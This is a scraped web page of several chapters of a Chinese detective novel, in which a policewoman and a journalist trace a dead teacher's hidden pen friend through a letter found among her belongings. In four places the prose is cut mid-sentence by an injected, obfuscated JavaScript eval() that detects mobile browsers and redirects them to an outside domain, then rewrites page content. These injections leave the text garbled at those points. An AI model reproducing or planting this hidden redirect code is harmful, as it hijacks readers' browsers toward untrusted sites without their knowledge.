“你看看,才三千块!你让人家辅警怎么活嘛,当官的真小气!”章弥真吐槽愈发激烈,但却夺走了秦梓需的手机,不让她转账。 “嘘!”秦梓需连忙示意她小点声,这毕竟是在学校里呢,“我…我钱都存定期了,最近开销有点大,我手头上流动资金不多,你给我点时间……你先把手机还我。” “喂!秦梓需,你不是真的要给我打钱吧?我跟你开玩笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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遗憾的是,因为意外事故,于2002年去世。 她的履历其实特别简单,档案中最多的是教师获奖的事迹。 章弥真询问校长和教务主任是否了解十八年前的老教师的情况,两人都表示那时候他们还没来学校工作,实在解答不了。 章弥真叹息,看向秦梓需:“看来是白跑一趟,这档案实在太笼统了,根本查不出什么来。” “那你的意思是?” “既然工作地查不出什么,咱们就倒着往回查,去东海师范大学。”章弥真道。 秦梓需没有意见,不过她还是不死心地询问道: “现在学校还有没有工作二十年以上,熟悉2000年左右时期学校情况的老教师在?” “有是有的,您如果要见面,我可以带您去见他。”教务主任道。 “麻烦您安排一下,谢谢。” 校长还有事务处理,客气告辞,不再作陪。教务主任在前带路,章弥真跟在后面,转头和秦梓需咬耳朵: “你觉得会是谁?是不是教过我们的老师啊?” “这我哪里能猜得出来,其实我这么多年也是第一次回母校。”秦梓需无奈道。 她们被带到了教师办公室,很顺利地找到了要找的人。教务主任指着教师办公室角落里的一张桌子边坐着的一位秃顶中年男子道: “梁老师,是工龄二十年以上的老教师了,一直在学校教历史的。” 那位梁老师听到门口有人谈论他,有些愕然地抬头,扶了下厚厚的眼镜望了过来。 秦梓需心下一惊,还真是当年教过她们的老师,她们初二、初三学年的历史都是这位梁老师带的。印象中当年他满头黑发,是个意气风发,颇有文人气质的三十岁青年教师。可如今,她竟然有些认不出眼前这位谢顶白发的中年男子了。 秦梓需刚想转头问章弥真和梁老师熟不熟,却发现章弥真竟然已经非常社牛地径直走了进去,打招呼道: “梁老师,您还记得我吗?02届三班的章弥真。” 14.第十四章 老教师愣怔了半晌,慢慢展颜,笑着站起身来,欣喜地上下打量章弥真,道: “章弥真,我记得,我当然记得!哎呀……这么多年,真是要认不出来了。” “你看,我就说老师一定记得我,我印象中老师记忆力超群,教过的每一位学生都记得一清二楚。”章弥真突然笑着回头对秦梓需道。 “哈哈哈……”一句话让老教师心花怒发,大笑起来。 秦梓需汗颜,自愧弗如。 “老师,这是当年的年级第一,秦梓需啊。”章弥真趁热介绍秦梓需,秦梓需连忙上前一步,略显局促,仿佛一瞬回到了当年的学生时代。 “哎呀,还真是。你们两个尖子生怎么突然结伴回来了?”梁老师很好奇地问。 “这不是想搞个同学聚会嘛,也得把当年的老师们都请上呀。所以我俩作为代表,先回来看看,打前哨。” “那感情好,当年教你们语文的杜老师,教英语的赵老师,早几年已经退休了,物化生的老师也走的走,转的转,政史地,也就剩我还在了。”说到这里,梁老师明显露出了些许伤感神色。 这些年教师队伍的人员流动也挺剧烈,各个学校之间彼此挖人自不提,因为补习机构大赚而直接离开学校正式编制的老师也不在少数。教师工资一直不高,人心浮动,能在一个学校里安安心心教书一辈子的老师,确实已经很少见了。 秦梓需注意到他故意没提数学老师,老教师多半已经回忆起当年那件事了。 她看了一眼章弥真,章弥真果然敏锐地抓住了这个话头: “还有就是,陈老师的忌日也快满二十周年了,我现在在媒体做事,就有个想法,想搜集一些老照片和资料,给陈老师做一个纪录片,也不知道她在这世上还有没有亲人了,至少我们是她的学生,得记得她。等二十周年时,就去她墓前祭奠。” 天才!太丝滑了。秦梓需开始佩服章弥真的敏捷才思了。 果不其然,闻言梁老师果然动容,道:“好孩子,你们也是有心了。” “那您这里有当年陈老师的照片吗?或者您记得什么事都可以和我们说说。”章弥真问。 “哦,我这里还真有一张照片。你等下,我找找。”说着就走去了一旁的文件柜,翻找起来。 教务主任起初还以为只是警察来办案,却没想到警察居然也是往届生,恰好来看老师了。他觉得自己杵在这里有些多余,于是和秦梓需耳语两句,告辞离去。 秦梓需吁了口气,心想这一边保密,一边查案,还真有点难度。若是让校方知道她们要查的事,估计得掀起轩然大波了。 还是章弥真想得借口好,这样既可以查案,又不会引人怀疑。 梁老师好一通翻找,口里嘀嘀咕咕:“咦,我记得放在这儿了啊。” 一旁有好心的老师给章弥真、秦梓需搬了凳子,请她们坐下,还给她们倒了水。章弥真小声凑到秦梓需耳边道: “老梁就是典型文人,重感情气节,小事不拘,大事不糊涂。所以等着吧,且得找呢。” 秦梓需真是哭笑不得,心说有你这么编排老师的吗? 等了有五分钟,梁老师终于从抽屉的最深处掏出了一本相册,欣喜道: “终于找到了!” 他托着相册走回来,递给秦梓需、章弥真看:“这张照片,千禧年教师节,学校组织老师们去庐山玩儿。我们在庐山山顶上合照了一张,中间这个就是陈老师。” “咦,这张陈老师笑得好开心。”章弥真夸道。 “出去玩儿当然开心嘛。她平时特别忙,很少能有机会出去旅游的。”梁老师笑道。 “您和陈老师关系特别好呀。” “谈不上关系特别好,就是我俩老乡,到底亲近点,聊得比较多。”梁老师道。 “您也是蚌埠人?” “是,而且我和她还是校友呢,我俩都是怀远一中的。但她比我大了7届。”梁老师道。 秦梓需第一次知道还有这层渊源,她忍不住出声问: “那您知不知道陈老师当年还和谁走得比较近?” “和谁走得近?嘶……”梁老师望向斜上方,陷入回忆,“印象中,老师里边她和谁都挺客气的,也没有走得特别近的人。” “那学生呢?”秦梓需问。 “学生那就更不可能走得近了,你们也知道她性格比较严肃,教学严谨,并不是个容易和学生打成一片的老师,学生一般都不大敢和她说话。等等,秦梓需你不就是和陈老师关系最好的学生吗?”梁老师扶了扶眼镜,笑道。 秦梓需一时语塞,章弥真笑着插话进来:“咱们就是想多找几个人,问问陈老师的事。秦梓需这里掌握的资料也不多。” 梁老师叹息:“唉……她当年走得太突然了,其实大家都没任何心理准备,她留在学校的遗物,也无人处理,后来只是保留了一些书籍、文稿、信件等纸质内容,害怕未来会有远房亲戚找过来,也算是有个交代。其他什么热水壶、茶杯之类的个人物品,都处理掉了。 “不过这么多年了,也没有远方亲戚找过来。听说好像是老家人都没了。” “那些纸质遗物您知道存在哪里吗?”秦梓需连忙追问。 “我记得在仓库里……”时间太久了,梁老师也显得不大确定。 “您能帮忙找一下吗?”秦梓需人都站起来了。 “当然,我看看钥匙在哪儿。”他又着急忙慌地去找钥匙。 趁着这个空档,章弥真再次悄声问秦梓需:“你怎么都没来学校查过这些?是没想到吗?” 秦梓需回道:“公安查案,会优先选择最容易突破的口子集中力量攻破。我们早就拿到了陈老师的履历,如你所见,清清楚楚,简简单单,所以当时我们认为这条线很难突破。 “为了以防万一,我师傅其实曾经委托过当地派出所到学校来查过陈老师的事,当时得到的反馈是学校里早就没有熟悉陈老师的人,陈老师没有亲属了,也没人知道她和谁有仇,所以我们只能作罢。当时想的是从铁道抛颅案突破,但这不是这么多年一点进展都没有嘛。实在没办法了,只能再换条路走。” “所以,委托别人查是不行的。得咱们亲自来,换了别人,梁老师不一定肯说呢。”章弥真道,“这都是人情世故。” 被章弥真一个外行人教训了,秦梓需倒也不恼怒,她说得对,这都是人情世故。 审讯本来就是一门技术活,话语间你来我往,稍有差池,都破不开对方的防线,问不出想要的讯息。当年受委托的派出所警官到底有没有尽心尽责来询问且另当别论,他们至少不能像对待犯人一样一个一个去审讯全校师生,他们会遇到各种各样的情况,诸如教师缺位恰好不在、教师上课没空接待,甚至言语不和、不理不睬,所以必然什么也问不出来。 “找到了,你们跟我来吧。”这回梁老师倒是很快找到了钥匙,他领着秦梓需、章弥真出了办公室,沿着廊道去了走廊尽头一间安装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022987|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有防盗门的房间,开启门锁,他带着二人进入。 啪的一声,白炽灯点亮,灰尘扑鼻而来,这不大的房间里塞满了铁皮柜子,每一个柜子上都标有学科名和年级编号。 “这里面存的都是一些教案文件和书籍杂物。抱歉,灰有些大,要不你们在门口等一下,我去找找看。”梁老师道。 “我们来帮您,您看该从哪儿找?”章弥真道。 三人挤进仓库,梁老师打开了标有数学字样的柜子,从上到下存了大量乱七八糟的文件。梁老师道: “这柜子是从下往上存,越是下头的东西年代越久远,咱们从底下开始找。” 三人开始埋头苦找,都不言语了。时间一分一秒地流失,从最底下一层翻到倒数第四层时,她们其实已经有点没底了。 该不会找不到了吧? 但随即梁老师就惊喜道:“找到了,就是这个文件盒!当年还是我帮忙收拾的遗物,我果然没记错!” 他取出了一个陈旧的文件盒,是绿色的,表面满是岁月磨损的痕迹。 章弥真笑道:“您可真像是史官,对过去的事记得门清呐!” “哈哈哈,你们看看,有没有你们想要的?”梁老师将盒子递给章弥真。 三人凑在一张旧课桌前,打开了文件盒。内里全是泛黄发霉的文件。有教案、有数学书、有笔记本,还有一只派克钢笔,一副备用的眼镜。 秦梓需看着这些物品,眼眶发热。总感觉,这盒子像个时间胶囊,将陈老师生命的一部分封存在这里,打开它,就打开了陈老师某一段已然灰白的过往人生。她好像又活过来了。 “咦?陈老师还看艾米丽·迪金森的诗集啊?”章弥真有些惊讶。 她从盒子里最底下拿出了一本陈旧、页边翻卷的诗集,发霉的气息十分冲鼻。 “艾米丽·狄金森?”秦梓需不知道是谁,身为一个偏理科思维的、专精侦查与犯罪心理的公安警察,她对于外国文学作品的知识储备比较匮乏。 “你肯定听过她的诗,只是对应不上她这人。Had I not seen the sun,I could have borne the shade.But Light a newer Wilderness,My Wilderness has made.”章弥真用十分好听的美式口音念出了一句诗,随后翻译道,“我本可以容忍黑暗/如果我不曾见过太阳/然而阳光已使我的荒凉/成为更新的荒凉。” 一旁的梁老师露出了惊叹的表情,为自己的学生出口成章,有丰富的文学素养而感到十分自豪。此时他也突然意识到,他竟然还没问过两个学生考上了什么大学,现在在哪儿高就。 “原来如此。”秦梓需点头,这诗太有名了,她确实听过。 章弥真看了一下书脊,在其上发现了一个图书馆的蓝印,惊道:“呀,这诗集是从市图书馆借的呢,看来一直都没还回去啊。” “是吗?我当年还真没注意,我以为都是她的私人物品。”梁老师也吃了一惊。 “咦?这里面好像还夹着什么。”章弥真翻开到那一页,一封老式牛皮纸信封出现在三人眼前。秦梓需、章弥真的瞳孔登时放大了,秦梓需第一时间戴上手套,将信拿了起来,只见信封上写着: 东海省胥城市江东区南园路29号胥城中学 陈君梅 (收) 云南省昭通市巧家县药山镇青竹坳中学 赵蕾 (寄) 15.第十五章 “赵蕾?你知道这人吗?”章弥真连忙问秦梓需。 秦梓需摇头,她检查信封,发现信早就从边缘拆开了,信纸还塞在里面,她将信抽出展开,发现里面竟然还夹着一朵紫色的花。 “这是什么花?”章弥真问。 “像是紫云英。”秦梓需对植物学了解有限,她将干花放在一旁,开始读信。信纸是再寻常不过的条格信纸,只有一页,其上写着一篇俊秀漂亮的蓝墨水钢笔字书信。 【君梅: 见字如晤。 数月前,春日里,山风穿堂过,我在瓦数不够明亮的灯下批改学生作文,忽见邮差送来包裹,颇为惊喜。拆开油纸,竟是艾米丽·狄金森的诗集,书页边角已泛黄,想是你最近爱读的,也得让我瞧瞧。邮差老周跋涉三十里山路送来时,袖口应还沾着野槐花的香气,倒与扉页上那句“我居住在可能里——”莫名相契。 春深后,教室窗外的野蔷薇开得泼辣,确让我想起狄金森笔下那些“细小的起义”。教娃娃们写《山里的春天》,英子攥着笔尾戳下巴,嘀咕:“野芍药红得像要烧起来,可风一吹又低头,怪像诗里说的‘羞怯的狂欢’。”你瞧,连十六岁的孩子都懂她诗句里那团暗火——分明是寂静的,却把人心燎得发烫。 你总说数学是月光,清冷冷照着人间沟壑。可这些日子读狄金森,倒觉她的诗行如你解的方程式般简洁,每个词都像数轴上的点,差之毫厘便谬以千里。好比“希望”是长着羽毛的东西,偏不肯落在金丝笼里,真与咱班小芳养的那只山雀像得很,宁肯啄破指尖也要撞向窗棂。 入夏了,夜里改完作业,常倚着斑竹椅望星子。城里电灯太亮,怕是瞧不见这般碎银似的星辰。狄金森说“脑内穹苍更宽广”,我觉得她定见过真正的山野夜色——当蛙鸣虫唱都歇了,天地间只剩下墨汁般的寂静在纸上游走,可不就是诗的模样? 有数月未与你通信,随信捎去一包晒干的野菊,开水烫过再沏,能喝出阳光晒透山梁的滋味。不知你近来可忙,盼你得闲时放下生活中的琐碎,为我写写城里的月光,那些被几何图形切割的光晕,可还认得山沟里乱窜的萤火虫? 此致 晚霞里的野百合 友:蕾 二零零二年五月廿四日于青竹坳中学】 这封信看得秦梓需一直在愣神,半晌不曾言语。 章弥真比她更快看完,惊叹于这位写信人的文笔之外,她注意到这封信夹着的位置是狄金森的一首名叫《请告知所有真相,但请曲折地说出》的诗: Tell all the truth but tell it slant — Success in Circuit lies Too bright for our infirm Delight The Truth''s superb surprise As Lightning to the Children eased With explanation kind The Truth must dazzle gradually Or every man be blind 请告知所有真相,但请曲折地说出—— 成功在于迂回之中。 真相太耀眼,不适合我们脆弱的欢愉, 真相的惊人之处,如同闪电。 如同给孩子们解释闪电,以一种温和的方式, 真相必须逐渐闪耀,否则会让人目盲。 这首诗所在的位置被陈老师用铅笔在右上角打了个五角星记号,信也夹在这个位置,章弥真感觉这首诗所要表达的含义,似乎并不简单,很可能反映着当时陈老师的心境。 她心底埋藏着某个秘密,她想将真相说出来,却又不知该如何开口。这首诗成了她日日诵读,反复思量的藏心秘处。 赵蕾是谁?会不会就是当年去找陈老师的那个女人?会不会那个悲惨被害,头颅被抛到铁道旁的女人,就是赵蕾? 章弥真暗暗拍了秦梓需的手臂一下,悄声凑到她耳畔问: “是她吗?” 秦梓需知道她在问铁道抛颅案的受害者会不会就是这封信的书写者赵蕾,她摇头:“不能肯定。但这封信、包括整本书都非常有证物价值,得带回去研究一下。” 章弥真点头。 一旁的梁老师已经有些疑惑了,在他眼里,两个学生在见到这封信后,气氛突然大变,私下里交头接耳说些避开他的悄悄话,而且秦梓需居然还戴起手套去拿信,这是在干什么? 好在章弥真十分敏锐的察觉到了梁老师的疑问,她再次运起三寸不烂之舌,打着哈哈,就将梁老师忽悠了过去,还顺带提出了带走遗物的要求。最后梁老师被她迷迷糊糊一顿胡侃,竟然真就没有什么意见了。 两人帮着梁老师收拾好翻出来的东西,将陈老师所有的遗物都直接打包带走。章弥真留了梁老师的联系方式,离去时还承诺等聚会时会通知梁老师。 开车出校门时,秦梓需一直显得沉默,周身散发着一股阴郁隐怒的气息。章弥真望着她,心中暗暗唏嘘。 这样重要的证物,就这样在学校里躺了十八年无人注意。多少警察与它擦肩而过,包括秦梓需自己。白白蹉跎了好些年,才终于兜兜转转找到了这封信。 不得不说,这里面真有些命运戏弄之感了。 “老秦,你没事吧?要喝水吗?”遇上红灯停车等待,章弥真从自己包里取出了一瓶还没开封的矿泉水,拧开后递给她。 “没事,谢谢。”秦梓需接过,猛灌了几口。 “至少咱们找着这封信了,对吧。”章弥真笑着安慰她。 “唉……你知道,我觉得自己作为警察,作为陈老师的学生,都挺不合格的。”秦梓需胸口剧烈鼓动着,似是有万千复杂心绪堵在那里,触达了语言的极限,难以一口气表达出来。她还没好全的胸口挤压伤,这会儿又开始隐隐作痛了。 章弥真没说话,秦梓需将水放到手边的茶杯位上,迎着绿灯踩下油门,终于吐出一口气道: “我应该早点回来的,但我一直在等,我不知道自己在搞些什么。” “也许你只是被千头万绪、纷繁复杂的线索搞迷糊了,你不知道该走哪条路,这很正常,别求全责备。”章弥真道。 “不!”秦梓需好不容易压下去的情绪再次被激发,她找了个空档靠边停车,引发后方一片喇叭声。 她双手狠狠攥着方向盘道:“我很清楚,我其实很清楚我早该回来从头查!我清楚我还远远没有尽全力去查陈老师。但……无数的人劝我,查案不是你的分内事,你是搞教学的,你有自己的工作,自己的前途,你何必为了一个根本不能被定性为刑事案件的事故耽误自己?何必为了早就是过眼云烟的那一家五口而浪费时间?人死不能复生,活人得好好活下去,过好自己的人生。 “所以我…我有很长一段时间,真的试图去忘记这一切,我只是做着一些筛选全国失踪人口信息的表面功夫,压根没想着要回来,真正一头扎进去查。 “我知道自己作为警察,根本没将查明真相做到极致。” 秦梓需揉着自己的胸口,脸上因愤怒染的红逐渐变得有些苍白,她没哭,但她显得非常沮丧和失望,是对她自己感到失望。 章弥真抬手拍了拍她的后背,叹息。饶是她口齿伶俐,一时间也不知道该用什么话来安慰秦梓需。 人都是趋利避害的,私欲即可成为奋发图强的动力,也会成为追求理想道路上最大的绊脚石。反观自己,其实还不如秦梓需,她至少还是回来了,还是一头扎进去查了。 “情绪发泄出来就好,你也憋了很久了吧。”她道,“人都有局限性,我们要追求的是超越自己。今天就当和过去切割了,亡羊补牢,犹未晚矣。” “抱歉……我,我不该在工作里带这么多情绪。”秦梓需这会儿冷静下来了,显得有些不好意思。 “都是老同学,你跟我面前装什么冷静专业啊。”章弥真嗤笑道,“行了,你不是说听我指挥吗?那咱们先回市局,看看小刘和李法医那里有什么新发现。你下车,我来开车。” 二人交换座位。秦梓需看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032064|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼时间,在仓库里找东西消耗了太多时间,这会儿已经快下午五点了。但对于法医和痕迹检测来说,一个下午的时间,恐怕还不足以让她们出结果。 章弥真驾车往回开,秦梓需打开蓝信,联系李之枚和刘雪莹,二人半晌均无回应,秦梓需知道她们现在恐怕都埋头在实验室里,没空理会蓝信消息。 秦梓需靠在副驾里,闭上眼,摒弃杂念,开始思考起这一新发现所带来的可能信。赵蕾……秦梓需搜遍自己的记忆,也不曾想起这样一个人名,她印象里,陈老师认识的人中,似乎也没有这么一个人。 这人是谁?是男是女?看名字和笔迹,是女性的可能性比较大。她似乎是个山村教师,远在2000多公里外的云南,她是怎么会和陈老师发生关联,互通书信的? 这封信写于2002年,翻一翻通讯发展历史,虽然02年企鹅通讯已经出现,但有电脑的人群仍然有限,陈老师当时肯定不是电脑普及用户,日常教学里她很少用电脑,而家中经济比较拮据,地方狭窄,也摆不下电脑。唯一不能排除的就是她去过网吧,但看她每日两点一线的忙碌生活,也很难挤出时间去网吧。 那会儿学校里的老师都流行在外兼职一份补习班的工作,陈老师却不行,因为那个家根本离不开她。 不过那会儿电话早已经普及,手机方兴未艾,绝大多数人还是使用BP机+固定电话的方式互相联系。那会儿写信的人就已经比较少了,看赵蕾那封信的行文内容,可以推测二人似乎是笔友关系。 这是一种古老且浪漫的关系,存在的时间跨度起码与纸张普及的历史等长。在过去,报刊杂志上甚至会有专门的栏目板块为笔友牵线搭桥。 陈老师有一个不为人知的笔友,确实是她的盲点。身为伴随高度发达的通讯媒体成长的年轻一代人,她受到自己的视野局限,对于未曾体会过的过去的生活经验缺乏想象的能力。 怪不得她怎么查,都查不到陈老师的人际关系中存在那样一个女性。也许陈老师家中的大火,烧毁了相当一部分她与笔友之间的书信,这封保存在学校里的信,简直是珍贵的“漏网之鱼”。 等等……不对,收信地址是胥中,而不是陈老师家的地址。一般通讯地址不会随意更改,也就是说,很可能笔友一直都是将信寄到胥中,陈老师的遗物里没有更多的信,她是把以前来往的书信都带回家了吗?这么做是不是有点多此一举?毕竟在秦梓需看来,陈老师在家中的忙碌程度,完全不亚于她在学校工作的时间。 她要负责看管孩子,辅导功课,要负责给家里店铺帮忙,还要负责照顾公婆、瘫痪的丈夫,身为一个传统女性,那个家庭有七八成的重担都落在她的肩上。 她几乎是回到家就开始忙,从下班到家后的五六点一口气忙到晚上九点,就得睡觉。家里人都是挤在上下铺里睡觉,根本没有房间,彼此之间只以帘布隔开,有什么动静,互相都听得见。 她很难有一个清静的环境去阅读、写信,相比之下,反倒是她在学校里有空闲时间,在办公室或图书馆,她能够清净一会儿,做点自己的事。 既然如此,她没有必要把所有的信都带回家中,保存在学校里就行了。那个家已经足够的拥挤了,潮湿、油腻的环境也并不适合保存信件,秦梓需甚至很少在她们家里看到书籍。 可学校的遗物里只有那一封信,这意味着什么? “嗳,老秦,据你所了解,陈老师是个很慷慨的人吗?”开着车的章弥真突然问道。 “慷慨……难说,陈老师家经济状况不好,她很难谈得上慷慨,我印象里她一直很节省。”秦梓需蹙眉思索。 “可是她专门买了一本艾米丽·狄金森诗集千里迢迢寄给那个赵蕾诶,而她自己都没有那本书,只是从图书馆借来看。”章弥真道。 “也许,寄书并非只是寄给赵蕾,她很可能是寄给乡村学校的,算是一种捐献行为。”秦梓需推测。 “哦,是哦,对于老师来说,有这种情怀倒也正常。”章弥真点头。 “回去后,先核查一下赵蕾的情况,这是当务之急。”秦梓需坐直了身子,眸中的光芒再次变得犀利。 16.第十六章 二人赶回市局时,已经到了五点一刻。车刚在停车场内停稳,秦梓需就收到了谷道全发给她的铁道线路图。她匆匆瞄了一眼,相当高清详尽,其上甚至标注出了当年侦查过的线路段和附近村庄,与相应列车也都有对应。 秦梓需知道自己今晚有活儿可干了,她要做一件至今尚未做的繁琐工作——将名单中的座位号释放入线路图,标注出这些座位号上乘和下车的站点,拉出一个散射图,来观察这些乘客的分布情况。 章弥真那里也来消息了,她正低头蹙眉查看微信。 “有事儿?”秦梓需问她。 “嗯,工作室里有些工作得等我处理。”章弥真道。 “那你去忙,我们明天再碰头。”秦梓需照顾她身兼两地工作。 没想到章弥真不领情:“不用,媒体人在哪儿都能干活,我带上我心爱的小电脑就行了。” 说着她拍了拍自己的运动包,那里面放着她的笔记本电脑。 “这……谢谢了。” “别老谢我了,赶紧的,还有好多事儿要干呢。”章弥真说着已经下车去了。 二人返回刑技中心,一打听,李之枚去国家级无名尸库还没回来,刘雪莹进了实验室还没出来。 看来她们要出结果,得等一段时间了。 回到办公室,章弥真先问秦梓需有哪些需要她帮忙的地方。秦梓需说她现在要查赵蕾的身份,这个活儿她自己一个人干就行。 于是章弥真就先开电脑,开始做她自己的工作。 秦梓需首先在公安系统里检索赵蕾,并将条件限定于云南省昭通市巧家县药山镇,检索结果有32条。算一算,赵蕾的年纪起码40岁往上。去掉明显不符合年纪的人,还剩下17条。 这些人中没有一个有失踪报案记录,秦梓需一一查看她们的学历,17个人中,8人初中辍学,5人完成高中学业,剩下4人是文盲。 秦梓需眉头蹙起……这样的学历,不大可能会成为中学教师。 秦梓需将那5个高中生挑出来,再详细查她们的户籍变动情况、旅行情况,这不查不要紧,一查发现没有一个符合她要找的那个赵蕾的要求。2002年前后,这些人都已经背井离乡,并不在故乡长居。 秦梓需意识到一个问题,这个赵蕾很可能并非当地人,她很可能是外地支教老师,户籍不在当地。这下麻烦了,全国上下不知多少叫赵蕾的人,她必须缩小范围。 她想了想,干脆直接查青竹坳中学的电话,并拨了过去。 “喂?您好,请问是青竹坳中学是吧。 ”……您好,我是东海省胥城市公安局的民警,我姓秦。我有些事想要核实一下,诶……您别紧张,就是问问情况。你们这里有没有一位名叫赵蕾的老师?……对,花蕾的蕾。 “嗯?没有吗?赵蕾,您再仔细查查。她应该是老教师了,2000年初就在你们学校教书的,她应该是支教老师。” 接下来是漫长的等待,因为校方去查支教名录了。秦梓需沉默地举着电话听筒,焦虑等待,身侧后方,章弥真正默默关注她这里的情况。 好一会儿,秦梓需终于等到了对方的回应,她看上去有些失魂落魄,默了几秒,不甘心道: “真的没有吗?那你们学校是否有报过教师失踪的情况?……哦,也没有是吧。好,感谢配合,谢谢,再见。” 秦梓需挂了电话,章弥真问道: “没查到?” “他们说学校从来就没有名叫赵蕾的老师,而且也从来没有教师失踪过。” “这……”章弥真后仰倒在椅背上,双手抬起,交叠摁在头顶,满脸的迷茫,眼见着刚查出来的新线索突然断掉,她立时觉得棘手起来。 秦梓需倒是习惯了这种受挫的状态,她很冷静地分析道: “无非两种情况,要么是赵蕾不是学校的老师,要么是学校有这么个老师但不叫赵蕾。我认为应该是后者,因为陈老师显然与她有稳定的书信往来。不然寄信寄包裹老是找不到人,邮局会起疑。” “你的意思是说,青竹坳中学确实有一个老师和陈老师是笔友,但她不叫赵蕾?” “对。” “等会儿,我从来没写过信,寄信是可以匿名的吗?”章弥真问。 “寄平信可以匿名。”秦梓需给出肯定回答。 “可是,陈老师给她的信件包裹,也用赵蕾的姓名,她岂不是收不到了?” 此言一出,章弥真突然意识到不对,她几乎和秦梓需异口同声道:“她知道她真名!” “对,陈老师应该是知道赵蕾的真名的,给她寄信时,写的都是真名。”秦梓需补充解释道。 “可是……这是为什么?”章弥真不理解,“有什么化名的必要吗?” “这化名是单向的,只有赵蕾化名,陈老师却没有化名。这意味着,陈老师可能不希望让人知晓和她通信之人的真实姓名。”秦梓需推测道。 章弥真抿了抿唇,道:“抱歉,单纯是假设,咱理性讨论哈。以我新闻记者的嗅觉,我真的不能不八卦一下,这种偷摸的状况,是不是有婚外情啊? “你是说赵蕾是男的?”秦梓需挑眉。 “是女的也不是不行。”章弥真道。 秦梓需耸肩道:“这个就没法推测了,但现阶段,我们至少可以确认陈老师是想隐瞒她有一个笔友这件事的。” 她将自己此前对于陈老师保存信的猜测和章弥真说了,章弥真抱着膀子分析道: “所以到底是陈老师家不利于保存书信纸张,还是陈老师不愿意让家里人看到她和别人有书信来往?很可能是两种情况同时存在,陈老师不知道把赵蕾的来信都存放在哪里了,如果当真从未带回家,那也不在学校,意味着很可能已经丢弃毁掉了,这封夹在书里的信,是唯一保存下来的。” 二人莫名沉默了一阵,章弥真有些踌躇着开口: “我问个有点冒犯的问题,你觉得陈老师和她丈夫马军之间的关系怎么样?” “一直挺和睦的,至少我从未见过他们吵架。但他们是不是背着我有吵过架,我也不知道。媛媛似乎也从没和我提过她父母之间有矛盾这样的话,她一直都特别的单纯快乐,像是没有烦恼似的。”秦梓需回忆道。 章弥真道:“就我对人性的了解,我认为这不大符合常理。马军半身瘫痪,常年需要妻子照顾,他身为一个成年男子,心理上不可能觉得心安理得。他是军人出身,必定曾经以男子气概自居,以传统价值对男性的要求为己任,要挑起家中大梁,要给老婆孩子好的生活。 “但突然遭遇意外,他这个挑大梁的突然折了,只能让老婆孩子跟老父母挤在一起过日子,住不了大房子,还得起早贪黑、没日没夜地干活维持家计。他内心必定是深切感到折辱、不甘、颓丧的。身在这种心理下的男人,多半也会变得敏感,害怕与其他正常男人攀比,更害怕妻子出轨,妻子对他越好,他越是内疚不安。 “在这种情况下,人的心理会发生两种情况的嬗变,要么指向外部,出于对妻子的愧疚心理,想办法补偿妻子,陷入一种奉献状态中,以期从他人那里得到正向反馈,来重塑自身信心。要么是指向自身,为了让自己好过,反倒会去发脾气伤害身边人。每次发脾气后又后悔,然后为了让自己好过,再次去伤害他人,陷入恶性循环。” 秦梓需笑了:“可以,章大记者对心理学是有研究的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038669|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 章弥真眯眼瞪着她,道:“我说秦老师,我记得你是研究犯罪心理学的,你难道没意识到这里面的问题吗?怎么还轮得到我班门弄斧的?” 秦梓需垂首片刻,抬眸注视章弥真,道: “我和你讲个故事吧。我刚拜师的时候,学了点本事,觉得自己了不得了,能洞察人心了。我师傅有一年春节前夕带着我走大栅栏逛街,他指着糕点铺前一对吵架的夫妻,让我用心理学分析他们到底在想什么。 “那对夫妻是为了到底要不要买豌豆黄当礼物送老人家而吵架,丈夫坚持要买,说老人家一直就爱吃这个,送礼正好。妻子不愿意,说吃甜的对老人身体不好,不如换点别的。 “我说这还不简单,丈夫属于享乐派,觉得人生在世该享福就得享福,妻子则是克制派,典型的为你好心态。两人都是将自己的想法强加给老人,其实并未重视过老人的想法。 “我师傅说不是的,丈夫是自己爱吃豌豆黄,买给老人只是借口,时常打着看老人的幌子跑到老人家里把自己买的豌豆黄都吃了。妻子对此门清,但也拿老人做借口,强迫丈夫不买。因为丈夫已经很胖了,不能再吃甜食了。但他二人都没有点破此事。 “我不服气啊,我就问师傅您怎么知道的呢?师傅说我当然知道,因为那夫妻俩就是他的女儿女婿。” “啊?!”章弥真被这个结局惊到了。 